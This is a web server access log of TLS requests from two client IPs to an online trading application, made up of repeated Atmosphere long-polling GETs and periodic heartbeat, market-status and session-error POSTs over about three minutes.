[09/Jan/2026:08:57:18 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920507303 HTTP/1.1" -
[09/Jan/2026:08:57:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920512339 HTTP/1.1" -
[09/Jan/2026:08:57:24 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920513303 HTTP/1.1" -
[09/Jan/2026:08:57:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920517481 HTTP/1.1" -
[09/Jan/2026:08:57:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:57:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:57:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:57:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:57:30 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920519304 HTTP/1.1" -
[09/Jan/2026:08:57:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920522614 HTTP/1.1" -
[09/Jan/2026:08:57:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920527719 HTTP/1.1" -
[09/Jan/2026:08:57:36 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920525308 HTTP/1.1" -
[09/Jan/2026:08:57:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920532776 HTTP/1.1" -
[09/Jan/2026:08:57:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920531309 HTTP/1.1" -
[09/Jan/2026:08:57:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920537941 HTTP/1.1" -
[09/Jan/2026:08:57:48 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920537299 HTTP/1.1" -
[09/Jan/2026:08:57:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920543155 HTTP/1.1" -
[09/Jan/2026:08:57:54 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920543303 HTTP/1.1" -
[09/Jan/2026:08:57:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920548394 HTTP/1.1" -
[09/Jan/2026:08:58:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:58:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:58:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:58:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:58:00 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920549303 HTTP/1.1" -
[09/Jan/2026:08:58:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920553526 HTTP/1.1" -
[09/Jan/2026:08:58:06 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920555311 HTTP/1.1" -
[09/Jan/2026:08:58:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920558587 HTTP/1.1" -
[09/Jan/2026:08:58:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920563695 HTTP/1.1" -
[09/Jan/2026:08:58:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:58:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:58:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:58:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920561540 HTTP/1.1" -
[09/Jan/2026:08:58:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:58:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920568863 HTTP/1.1" -
[09/Jan/2026:08:58:18 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920567299 HTTP/1.1" -
[09/Jan/2026:08:58:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920574019 HTTP/1.1" -
[09/Jan/2026:08:58:24 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920573307 HTTP/1.1" -
[09/Jan/2026:08:58:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920579174 HTTP/1.1" -
[09/Jan/2026:08:58:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:58:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:58:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:58:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:58:30 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920579298 HTTP/1.1" -
[09/Jan/2026:08:58:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920584323 HTTP/1.1" -
[09/Jan/2026:08:58:36 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920585301 HTTP/1.1" -
[09/Jan/2026:08:58:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920589384 HTTP/1.1" -
[09/Jan/2026:08:58:42 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920591299 HTTP/1.1" -
[09/Jan/2026:08:58:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920594447 HTTP/1.1" -
[09/Jan/2026:08:58:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920599559 HTTP/1.1" -
[09/Jan/2026:08:58:48 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920597307 HTTP/1.1" -
[09/Jan/2026:08:58:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920604728 HTTP/1.1" -
[09/Jan/2026:08:58:54 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920603306 HTTP/1.1" -
[09/Jan/2026:08:58:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920609864 HTTP/1.1" -
[09/Jan/2026:08:59:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:59:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:59:00 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920609312 HTTP/1.1" -
[09/Jan/2026:08:59:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:59:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:59:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920615012 HTTP/1.1" -
[09/Jan/2026:08:59:06 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920615313 HTTP/1.1" -
[09/Jan/2026:08:59:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920620070 HTTP/1.1" -
[09/Jan/2026:08:59:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:59:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:59:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:59:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920621413 HTTP/1.1" -
[09/Jan/2026:08:59:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:59:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920625128 HTTP/1.1" -
[09/Jan/2026:08:59:18 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920627307 HTTP/1.1" -
[09/Jan/2026:08:59:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920630332 HTTP/1.1" -
[09/Jan/2026:08:59:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920635489 HTTP/1.1" -
[09/Jan/2026:08:59:24 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920633304 HTTP/1.1" -
[09/Jan/2026:08:59:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920640635 HTTP/1.1" -
[09/Jan/2026:08:59:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920638392 HTTP/1.1" -
[09/Jan/2026:08:59:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:59:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:59:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:59:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:59:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920645779 HTTP/1.1" -
[09/Jan/2026:08:59:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920644299 HTTP/1.1" -
[09/Jan/2026:08:59:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920650855 HTTP/1.1" -
[09/Jan/2026:08:59:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920650310 HTTP/1.1" -
[09/Jan/2026:08:59:43 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:59:43 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:59:43 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:59:43 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:59:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920655974 HTTP/1.1" -
[09/Jan/2026:08:59:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920656313 HTTP/1.1" -
[09/Jan/2026:08:59:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920661126 HTTP/1.1" -
[09/Jan/2026:08:59:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920662301 HTTP/1.1" -
[09/Jan/2026:08:59:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920666274 HTTP/1.1" -
